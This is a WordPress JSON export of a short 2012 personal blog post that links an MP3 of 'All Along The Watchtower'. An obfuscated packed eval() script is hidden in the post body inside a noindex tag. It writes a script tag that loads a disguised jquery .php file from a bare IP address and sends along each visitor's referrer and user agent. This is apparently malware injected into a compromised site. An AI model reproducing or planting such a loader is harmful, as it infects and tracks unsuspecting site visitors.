{"id":3153,"date":"2012-06-16T10:23:23","date_gmt":"2012-06-16T17:23:23","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3153"},"modified":"2012-06-13T10:56:05","modified_gmt":"2012-06-13T17:56:05","slug":"i-think-kens-band-should-put-this-poem-to-music","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3153","title":{"rendered":"I think Ken&#8217;s band should put this poem to music."},"content":{"rendered":"<p><em>&#8230;something <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrhae|var|u0026u|referrer|ybknn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> like <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/01-All-Along-The-Watchtower-Bob-Dylan-Tribute.mp3\">All Along The Watchtower <\/a>?? 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